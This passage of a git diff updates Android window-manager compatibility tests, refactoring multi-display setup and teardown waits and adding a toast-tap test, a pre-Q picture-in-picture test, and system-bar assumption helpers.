         static final Bar[] BARS = {STATUS, NAVIGATION};
@@ -334,5 +359,7 @@
         abstract int getInset(Insets insets);
 
         abstract Rect getLocation(Insets insets, Rect screen);
+
+        abstract void checkAssumptions(ActivityTestRule<?> rule) throws AssumptionViolatedException;
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
old mode 100644
new mode 100755
index fd8deb2..df087db
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
@@ -62,7 +62,7 @@
 @Presubmit
 public class MultiDisplayClientTests extends MultiDisplayTestBase {
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5); // 5 seconds
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
     private static final String EXTRA_SHOW_IME = "show_ime";
 
     @Before
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 32a20ae..ef78bc7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -74,6 +74,7 @@
 import java.util.Collections;
 import java.util.List;
 import java.util.function.Consumer;
+import java.util.function.Predicate;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -244,6 +245,18 @@
         tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId);
     }
 
+    private void waitForDisplayGone(Predicate<WindowManagerState.Display> displayPredicate) {
+        for (int retry = 1; retry <= 5; retry++) {
+            mAmWmState.computeState(true);
+            if (!mAmWmState.getWmState().getDisplays().stream().anyMatch(displayPredicate::test)) {
+                return;
+            }
+            logAlways("Waiting for hosted displays destruction... retry=" + retry);
+            SystemClock.sleep(500);
+        }
+        fail("Waiting for hosted displays destruction failed.");
+    }
+
     /**
      * This class should only be used when you need to test virtual display created by a
      * non-privileged app.
@@ -360,19 +373,13 @@
          * @return {@link ActivityDisplay} of newly created display.
          */
         private List<ActivityDisplay> simulateDisplay() throws Exception {
-            final List<ActivityDisplay> originalDs = getDisplaysStates();
-
             // Create virtual display with custom density dpi and specified size.
             mOverlayDisplayDeviceSession.set(mSimulationDisplaySize + "/" + mDensityDpi);
-            final List<ActivityDisplay> newDisplays = assertAndGetNewDisplays(1, originalDs);
-
             if (mShowSystemDecorations) {
-                for (ActivityDisplay display : newDisplays) {
-                    mOverlayDisplayDeviceSession.addAndConfigDisplayState(display,
-                            true /* requestShowSysDecors */, true /* requestShowIme */);
-                }
+                mOverlayDisplayDeviceSession.configureDisplays(
+                        true /* requestShowSysDecors */, true /* requestShowIme */);
             }
-            return newDisplays;
+            return mOverlayDisplayDeviceSession.getCreatedDisplays();
         }
 
         /**
@@ -448,55 +455,9 @@
                     + " -f 0x20000000"
                     + " --es " + KEY_COMMAND + " " + COMMAND_DESTROY_DISPLAY;
             executeShellCommand(destroyVirtualDisplayCommand);
-            waitForDisplaysDestroyed();
-        }
-
-        private void waitForDisplaysDestroyed() {
-            for (int retry = 1; retry <= 5; retry++) {
-                if (!isHostedVirtualDisplayPresent()) {
-                    return;
-                }
-                logAlways("Waiting for hosted displays destruction... retry=" + retry);
-                SystemClock.sleep(500);
-            }
-            fail("Waiting for hosted displays destruction failed.");
-        }
-
-        private boolean isHostedVirtualDisplayPresent() {
-            mAmWmState.computeState(true);
-            return mAmWmState.getWmState().getDisplays().stream().anyMatch(
+            waitForDisplayGone(
                     d -> d.getName() != null && d.getName().contains(VIRTUAL_DISPLAY_PREFIX));
         }
-
-        /**
-         * Wait for desired number of displays to be created and get their properties.
-         * @param newDisplayCount expected display count, -1 if display should not be created.
-         * @param originalDS display states before creation of new display(s).
-         * @return list of new displays, empty list if no new display is created.
-         */
-        private List<ActivityDisplay> assertAndGetNewDisplays(int newDisplayCount,
-                List<ActivityDisplay> originalDS) {
-            final int originalDisplayCount = originalDS.size();
-
-            // Wait for the display(s) to be created and get configurations.
-            final List<ActivityDisplay> ds = getDisplayStateAfterChange(
-                    originalDisplayCount + newDisplayCount);
-            if (newDisplayCount != -1) {
-                assertEquals("New virtual display(s) must be created",
-                        originalDisplayCount + newDisplayCount, ds.size());
-            } else {
-                assertEquals("New virtual display must not be created",
-                        originalDisplayCount, ds.size());
-                return Collections.emptyList();
-            }
-
-            // Find the newly added display(s).
-            final List<ActivityDisplay> newDisplays = findNewDisplayStates(originalDS, ds);
-            assertThat("New virtual display must be created",
-                    newDisplays, hasSize(newDisplayCount));
-
-            return newDisplays;
-        }
     }
 
     // TODO(b/112837428): Merge into VirtualDisplaySession when all usages are migrated.
@@ -538,7 +499,10 @@
     }
 
     /** Helper class to save, set, and restore overlay_display_devices preference. */
-    private static class OverlayDisplayDevicesSession extends SettingsSession<String> {
+    private class OverlayDisplayDevicesSession extends SettingsSession<String> {
+        /** The displays which are created by this session. */
+        private final List<ActivityDisplay> mDisplays = new ArrayList<>();
+        /** The configured displays that need to be restored when this session is closed. */
         private final List<OverlayDisplayState> mDisplayStates = new ArrayList<>();
         private final WindowManager mWm;
 
@@ -549,23 +513,38 @@
             mWm = context.getSystemService(WindowManager.class);
         }
 
-        void addAndConfigDisplayState(ActivityDisplay display, boolean requestShowSysDecors,
-                boolean requestShowIme) {
+        List<ActivityDisplay> getCreatedDisplays() {
+            return new ArrayList<>(mDisplays);
+        }
+
+        @Override
+        public void set(String value) {
+            final List<ActivityDisplay> originalDisplays = getDisplaysStates();
+            super.set(value);
+            final int newDisplayCount = 1 + (int) value.chars().filter(ch -> ch == ';').count();
+            mDisplays.addAll(assertAndGetNewDisplays(newDisplayCount, originalDisplays));
+        }
+
+        void configureDisplays(boolean requestShowSysDecors, boolean requestShowIme) {
             SystemUtil.runWithShellPermissionIdentity(() -> {
-                final boolean showSystemDecors = mWm.shouldShowSystemDecors(display.mId);
-                final boolean showIme = mWm.shouldShowIme(display.mId);
-                mDisplayStates.add(new OverlayDisplayState(display.mId, showSystemDecors, showIme));
-                if (requestShowSysDecors != showSystemDecors) {
-                    mWm.setShouldShowSystemDecors(display.mId, requestShowSysDecors);
-                    TestUtils.waitUntil("Waiting for display show system decors",
-                            5 /* timeoutSecond */,
-                            () -> mWm.shouldShowSystemDecors(display.mId) == requestShowSysDecors);
-                }
-                if (requestShowIme != showIme) {
-                    mWm.setShouldShowIme(display.mId, requestShowIme);
-                    TestUtils.waitUntil("Waiting for display show Ime",
-                            5 /* timeoutSecond */,
-                            () -> mWm.shouldShowIme(display.mId) == requestShowIme);
+                for (ActivityDisplay display : mDisplays) {
+                    final boolean showSystemDecors = mWm.shouldShowSystemDecors(display.mId);
+                    final boolean showIme = mWm.shouldShowIme(display.mId);
+                    mDisplayStates.add(new OverlayDisplayState(
+                            display.mId, showSystemDecors, showIme));
+                    if (requestShowSysDecors != showSystemDecors) {
+                        mWm.setShouldShowSystemDecors(display.mId, requestShowSysDecors);
+                        TestUtils.waitUntil("Waiting for display show system decors",
+                                5 /* timeoutSecond */,
+                                () -> mWm.shouldShowSystemDecors(
+                                        display.mId) == requestShowSysDecors);
+                    }
+                    if (requestShowIme != showIme) {
+                        mWm.setShouldShowIme(display.mId, requestShowIme);
+                        TestUtils.waitUntil("Waiting for display show Ime",
+                                5 /* timeoutSecond */,
+                                () -> mWm.shouldShowIme(display.mId) == requestShowIme);
+                    }
                 }
             });
         }
@@ -587,6 +566,8 @@
             // Need to restore display state before display is destroyed.
             restoreDisplayStates();
             super.close();
+            waitForDisplayGone(display -> mDisplays.stream()
+                    .anyMatch(state -> state.mId == display.getDisplayId()));
         }
 
         private class OverlayDisplayState {
@@ -632,6 +613,36 @@
         return true;
     }
 
+    /**
+     * Wait for desired number of displays to be created and get their properties.
+     *
+     * @param newDisplayCount expected display count, -1 if display should not be created.
+     * @param originalDisplays display states before creation of new display(s).
+     * @return list of new displays, empty list if no new display is created.
+     */
+    private List<ActivityDisplay> assertAndGetNewDisplays(int newDisplayCount,
+            List<ActivityDisplay> originalDisplays) {
+        final int originalDisplayCount = originalDisplays.size();
+
+        // Wait for the display(s) to be created and get configurations.
+        final List<ActivityDisplay> ds = getDisplayStateAfterChange(
+                originalDisplayCount + newDisplayCount);
+        if (newDisplayCount != -1) {
+            assertEquals("New virtual display(s) must be created",
+                    originalDisplayCount + newDisplayCount, ds.size());
+        } else {
+            assertEquals("New virtual display must not be created",
+                    originalDisplayCount, ds.size());
+            return Collections.emptyList();
+        }
+
+        // Find the newly added display(s).
+        final List<ActivityDisplay> newDisplays = findNewDisplayStates(originalDisplays, ds);
+        assertThat("New virtual display must be created", newDisplays, hasSize(newDisplayCount));
+
+        return newDisplays;
+    }
+
     /** Checks if the device supports multi-display. */
     protected boolean supportsMultiDisplay() {
         return hasDeviceFeature(FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
@@ -714,27 +725,10 @@
                 mExternalDisplayHelper.releaseDisplay();
                 mExternalDisplayHelper = null;
 
-                waitForHostedDisplayDestroyed();
+                waitForDisplayGone(d -> d.getDisplayId() == mDisplayId);
                 mDisplayId = INVALID_DISPLAY;
             }
         }
-
-        private void waitForHostedDisplayDestroyed() {
-            for (int retry = 1; retry <= 5; retry++) {
-                if (!isHostedVirtualDisplayPresent()) {
-                    return;
-                }
-                logAlways("Waiting for hosted displays destruction... retry=" + retry);
-                SystemClock.sleep(500);
-            }
-            fail("Waiting for hosted displays destruction failed.");
-        }
-
-        private boolean isHostedVirtualDisplayPresent() {
-            mAmWmState.computeState(true);
-            return mAmWmState.getWmState().getDisplays().stream().anyMatch(
-                    d -> d.getDisplayId() == mDisplayId);
-        }
     }
 
     public static class PrimaryDisplayStateSession implements AutoCloseable {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index e01c51c..98669b7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -60,6 +60,8 @@
 import static android.server.wm.app.Components.TestActivity.EXTRA_CONFIGURATION;
 import static android.server.wm.app.Components.TestActivity.EXTRA_FIXED_ORIENTATION;
 import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
+import static android.server.wm.app27.Components.SDK_27_LAUNCH_ENTER_PIP_ACTIVITY;
+import static android.server.wm.app27.Components.SDK_27_PIP_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
@@ -752,6 +754,30 @@
     }
 
     @Test
+    public void testLaunchStoppedActivityWithPiPInSameProcessPreQ() {
+        // Try to enter picture-in-picture from an activity that has more than one activity in the
+        // task and ensure that it works, for pre-Q app
+        launchActivity(SDK_27_LAUNCH_ENTER_PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true");
+        waitForEnterPip(SDK_27_PIP_ACTIVITY);
+        assertPinnedStackExists();
+
+        // Puts the host activity to stopped state
+        launchHomeActivity();
+        mAmWmState.assertHomeActivityVisible(true);
+        waitAndAssertActivityState(SDK_27_LAUNCH_ENTER_PIP_ACTIVITY, STATE_STOPPED,
+                "Activity should become STOPPED");
+        mAmWmState.assertVisibility(SDK_27_LAUNCH_ENTER_PIP_ACTIVITY, false);
+
+        // Host activity should be visible after re-launch and PiP window still exists
+        launchActivity(SDK_27_LAUNCH_ENTER_PIP_ACTIVITY);
+        waitAndAssertActivityState(SDK_27_LAUNCH_ENTER_PIP_ACTIVITY, STATE_RESUMED,
+                "Activity should become RESUMED");
+        mAmWmState.assertVisibility(SDK_27_LAUNCH_ENTER_PIP_ACTIVITY, true);
+        assertPinnedStackExists();
+    }
+
+    @Test
     public void testEnterPipWithResumeWhilePausingActivityNoStop() throws Exception {
         /*
          * Launch the resumeWhilePausing activity and ensure that the PiP activity did not get
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 4531584..2dfd254 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -512,7 +512,11 @@
 
     @Test
     public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+        if (!mIsHomeRecentsComponent) {
+            launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
+        } else {
+            launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+        }
         mAmWmState.computeState(TEST_ACTIVITY);
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice()
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
new file mode 100644
index 0000000..253ade4
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_DISPLAYED;
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_TAP_DETECTED;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
+import android.server.wm.WindowManagerState.WindowState;
+import android.server.wm.app.Components;
+import android.view.WindowManager.LayoutParams;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+import javax.annotation.Nullable;
+
+@Presubmit
+public class ToastTest extends ActivityManagerTestBase {
+    private static final String SETTING_HIDDEN_API_POLICY = "hidden_api_policy";
+    private static final long TOAST_DISPLAY_TIMEOUT_MS = 8000;
+    private static final long TOAST_TAP_TIMEOUT_MS = 3500;
+
+    /**
+     * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
+     * is long and it takes some time to process the broadcast we just sent.
+     */
+    private static final long BROADCAST_DELIVERY_TIMEOUT_MS = 60000;
+
+    @Nullable
+    private String mPreviousHiddenApiPolicy;
+    private Map<String, ConditionVariable> mBroadcastsReceived;
+
+    private BroadcastReceiver mAppCommunicator = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+             getBroadcastReceivedVariable(intent.getAction()).open();
+        }
+    };
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            ContentResolver resolver = mContext.getContentResolver();
+            mPreviousHiddenApiPolicy = Settings.Global.getString(resolver,
+                    SETTING_HIDDEN_API_POLICY);
+            Settings.Global.putString(resolver, SETTING_HIDDEN_API_POLICY, "1");
+        });
+        // Stopping just in case, to make sure reflection is allowed
+        stopTestPackage(Components.getPackageName());
+
+        // These are parallel broadcasts, not affected by a busy queue
+        mBroadcastsReceived = Collections.synchronizedMap(new HashMap<>());
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_TOAST_DISPLAYED);
+        filter.addAction(ACTION_TOAST_TAP_DETECTED);
+        mContext.registerReceiver(mAppCommunicator, filter);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mContext.unregisterReceiver(mAppCommunicator);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putString(mContext.getContentResolver(), SETTING_HIDDEN_API_POLICY,
+                    mPreviousHiddenApiPolicy);
+        });
+        super.tearDown();
+    }
+
+    @Test
+    public void testToastIsNotClickable() {
+        Intent intent = new Intent();
+        intent.setComponent(Components.TOAST_RECEIVER);
+        sendAndWaitForBroadcast(intent);
+        boolean toastDisplayed = getBroadcastReceivedVariable(ACTION_TOAST_DISPLAYED).block(
+                TOAST_DISPLAY_TIMEOUT_MS);
+        assertTrue("Toast not displayed on time", toastDisplayed);
+        WindowManagerState wmState = getAmWmState().getWmState();
+        wmState.computeState();
+        WindowState toastWindow = wmState.findFirstWindowWithType(LayoutParams.TYPE_TOAST);
+        assertNotNull("Couldn't retrieve toast window", toastWindow);
+
+        tapOnCenter(toastWindow.getContainingFrame(), toastWindow.getDisplayId());
+
+        boolean toastClicked = getBroadcastReceivedVariable(ACTION_TOAST_TAP_DETECTED).block(
+                TOAST_TAP_TIMEOUT_MS);
+        assertFalse("Toast tap detected", toastClicked);
+    }
+
+    private void sendAndWaitForBroadcast(Intent intent) {
+        assertNotEquals("Can't wait on main thread", Thread.currentThread(),
+                Looper.getMainLooper().getThread());
+
+        ConditionVariable broadcastDelivered = new ConditionVariable(false);
+        mContext.sendOrderedBroadcast(
+                intent,
+                null,
+                new BroadcastReceiver() {
+                    @Override
+                    public void onReceive(Context context, Intent intent) {
+                        broadcastDelivered.open();
+                    }
+                },
+                new Handler(Looper.getMainLooper()),
+                Activity.RESULT_OK,
+                null,
+                null);
+        broadcastDelivered.block(BROADCAST_DELIVERY_TIMEOUT_MS);
+    }
+
+    private ConditionVariable getBroadcastReceivedVariable(String action) {
+        return mBroadcastsReceived.computeIfAbsent(action, key -> new ConditionVariable());
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index 9a6d134..a361011 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -231,6 +231,7 @@
      * - The window which lost top-focus can be notified about pointer-capture lost.
      */
     @Test
+    @FlakyTest(bugId = 135574991)
     public void testPointerCapture() throws InterruptedException {
         final PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class,
                 DEFAULT_DISPLAY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index f73d5a6..2ec92bb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -168,7 +168,7 @@
                 insets.getMandatorySystemGestureInsets(),
                 insetsLessThanOrEqualTo(insets.getSystemGestureInsets()));
 
-        Insets stableAndSystem = Insets.max(insets.getSystemGestureInsets(),
+        Insets stableAndSystem = Insets.max(insets.getSystemWindowInsets(),
                 insets.getStableInsets());
         assertThat("mandatory system gesture insets must include intersection between "
                         + "stable and system window insets",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 908dc09..64e34fb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -208,7 +208,6 @@
         // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
         moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
             true/* showSideActivity */);
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
         getLifecycleLog().clear();
 
         // Launch second activity
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 8601d35..c99764e 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -500,11 +500,14 @@
         injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId);
     }
 
+    protected void tapOnCenter(Rect bounds, int displayId) {
+        final int tapX = bounds.left + bounds.width() / 2;
+        final int tapY = bounds.top + bounds.height() / 2;
+        tapOnDisplay(tapX, tapY, displayId);
+    }
+
     protected void tapOnStackCenter(ActivityManagerState.ActivityStack stack) {
-        final Rect sideStackBounds = stack.getBounds();
-        final int tapX = sideStackBounds.left + sideStackBounds.width() / 2;
-        final int tapY = sideStackBounds.top + sideStackBounds.height() / 2;
-        tapOnDisplay(tapX, tapY, stack.mDisplayId);
+        tapOnCenter(stack.getBounds(), stack.mDisplayId);
     }
 
     private static void injectMotion(long downTime, long eventTime, int action,
@@ -659,7 +662,9 @@
      * Moves the device into split-screen with the specified task into the primary stack.
      * @param taskId             The id of the task to move into the primary stack.
      * @param showSideActivity   Whether to show the Recents activity (or a placeholder activity in
-     *                           place of the Recents activity if home is the recents component)
+     *                           place of the Recents activity if home is the recents component).
+     *                           If {@code true} it will also wait for activity in the primary
+     *                           split-screen stack to be resumed.
      */
     public void moveTaskToPrimarySplitScreen(int taskId, boolean showSideActivity) {
         final boolean isHomeRecentsComponent = mAmWmState.getAmState().isHomeRecentsComponent();
@@ -670,11 +675,29 @@
                     null /* initialBounds */, showSideActivity && !isHomeRecentsComponent);
             mAmWmState.waitForRecentsActivityVisible();
 
-            if (isHomeRecentsComponent && showSideActivity) {
-                // Launch Placeholder Side Activity
-                final Activity sideActivity = mSideActivityRule.launchActivity(
-                        new Intent());
-                mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+            if (showSideActivity) {
+                if (isHomeRecentsComponent) {
+                    // Launch Placeholder Side Activity
+                    final Activity sideActivity = mSideActivityRule.launchActivity(
+                            new Intent());
+                    mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+                }
+
+                // There are two cases when showSideActivity == true:
+                // Case 1: it's 3rd-party launcher and it should show recents, so the primary split
+                // screen won't enter minimized dock, but the activity on primary split screen
+                // should be relaunched.
+                // Case 2: It's not 3rd-party launcher but we launched side activity on secondary
+                // split screen, the activity on primary split screen should enter then leave
+                // minimized dock.
+                // In both cases, we shall wait for the state of the activity on primary split
+                // screen to resumed, so the LifecycleLog won't affect the following tests.
+                mAmWmState.waitForWithAmState(state -> {
+                    final ActivityManagerState.ActivityStack stack =
+                            state.getStandardStackByWindowingMode(
+                                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+                    return stack != null && stack.getResumedActivity() != null;
+                }, "activity in the primary split-screen stack must be resumed");
             }
         });
     }
@@ -929,7 +952,10 @@
                 "doze_always_on",
                 "doze_pulse_on_pick_up",
                 "doze_pulse_on_long_press",
-                "doze_pulse_on_double_tap"
+                "doze_pulse_on_double_tap",
+                "doze_wake_screen_gesture",
+                "doze_wake_display_gesture",
+                "doze_tap_gesture"
         };
 
         private String get(String key) {
@@ -1083,6 +1109,9 @@
         }
 
         LockScreenSession unlockDevice() {
+            // Make sure the unlock button event is send to the default display.
+            tapOnDisplay(10, 10, DEFAULT_DISPLAY);
+
             pressUnlockButton();
             return this;
         }
@@ -1668,20 +1697,28 @@
     static class ActivityLifecycleCounts {
         final int[] mCounts = new int[ActivityCallback.SIZE];
         final int[] mLastIndexes = new int[ActivityCallback.SIZE];
-        final List<ActivityCallback> mCallbackHistory;
+        private ComponentName mActivityName;
 
         ActivityLifecycleCounts(ComponentName componentName) {
-            this(TestJournalContainer.get(componentName).callbacks);
+            mActivityName = componentName;
+            updateCount(TestJournalContainer.get(componentName).callbacks);
         }
 
         ActivityLifecycleCounts(List<ActivityCallback> callbacks) {
-            mCallbackHistory = callbacks;
-            for (int i = 0; i < callbacks.size(); i++) {
-                final ActivityCallback callback = callbacks.get(i);
-                final int ordinal = callback.ordinal();
-                mCounts[ordinal]++;
-                mLastIndexes[ordinal] = i;
-            }
+            updateCount(callbacks);
+        }
+
+        private void updateCount(List<ActivityCallback> callbacks) {
+            // The callback list could be from the reference of TestJournal. If we are counting for
+            // retrying, there may be new data added to the list from other threads.
+            TestJournalContainer.withThreadSafeAccess(() -> {
+                for (int i = 0; i < callbacks.size(); i++) {
+                    final ActivityCallback callback = callbacks.get(i);
+                    final int ordinal = callback.ordinal();
+                    mCounts[ordinal]++;
+                    mLastIndexes[ordinal] = i;
+                }
+            });
         }
 
         int getCount(ActivityCallback callback) {
@@ -1694,9 +1731,16 @@
 
         @SafeVarargs
         final void assertCountWithRetry(String message, CountSpec<ActivityCallback>... countSpecs) {
+            if (mActivityName == null) {
+                throw new IllegalStateException(
+                        "It is meaningless to retry without specified activity");
+            }
             new RetryValidator() {
                 @Override
                 protected String validate() {
+                    Arrays.fill(mCounts, 0);
+                    Arrays.fill(mLastIndexes, 0);
+                    updateCount(TestJournalContainer.get(mActivityName).callbacks);
                     return validateCount(countSpecs);
                 }
             }.assertValidator(message);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
new file mode 100644
index 0000000..2d524df
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.Configuration;
+import android.util.Log;
+import android.view.WindowInsets;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.AssumptionViolatedException;
+
+/**
+ * Common assumptions for system bar tests.
+ *
+ * TODO: Unify with copy in systemui tests.
+ */
+public final class BarTestUtils {
+
+    private BarTestUtils() {
+    }
+
+    public static void assumeHasColoredStatusBar(ActivityTestRule<?> rule) {
+        assumeHasColoredBars();
+
+        assumeFalse("No status bar when running in VR", isRunningInVr());
+
+        assumeTrue("Top stable inset is non-positive, no status bar.",
+                getInsets(rule).getStableInsetTop() > 0);
+    }
+
+    public static void assumeHasColoredNavigationBar(ActivityTestRule<?> rule) {
+        assumeHasColoredBars();
+
+        assumeTrue("Bottom stable inset is non-positive, no navigation bar",
+                getInsets(rule).getStableInsetBottom() > 0);
+    }
+
+    public static void assumeHasColoredBars() {
+        final PackageManager pm = getInstrumentation().getContext().getPackageManager();
+
+        assumeFalse("Embedded devices don't have system bars",
+                getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_EMBEDDED));
+
+        assumeFalse("No bars on watches and TVs", pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
+        assumeFalse("Automotive navigation bar is opaque",
+                pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
+        assumeTrue("Only highEndGfx devices have colored system bars",
+                ActivityManager.isHighEndGfx());
+    }
+
+    private static boolean isRunningInVr() {
+        final Context context = InstrumentationRegistry.getContext();
+        final Configuration config = context.getResources().getConfiguration();
+        return (config.uiMode & Configuration.UI_MODE_TYPE_MASK)
+                == Configuration.UI_MODE_TYPE_VR_HEADSET;
+    }
+
+    private static WindowInsets getInsets(ActivityTestRule<?> rule) {
+        final WindowInsets[] insets = new WindowInsets[1];
+        try {
+            rule.runOnUiThread(() -> {
+                insets[0] = rule.getActivity().getWindow().getDecorView().getRootWindowInsets();
+            });
+        } catch (Throwable t) {
+            throw new RuntimeException(t);
+        }
+        return insets[0];
+    }
+
+    public static boolean isAssumptionViolated(Runnable assumption) {
+        try {
+            assumption.run();
+            return true;
+        } catch (AssumptionViolatedException e) {
+            Log.i("BarTestUtils", "Assumption violated", e);
+            return false;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
index d35289b..b2d92a3 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
@@ -90,19 +90,19 @@
         switch (method) {
             case METHOD_ADD_CALLBACK:
                 ensureExtras(method, extras);
-                TestJournalContainer.get().addCallback(
+                TestJournalContainer.getInstance().addCallback(
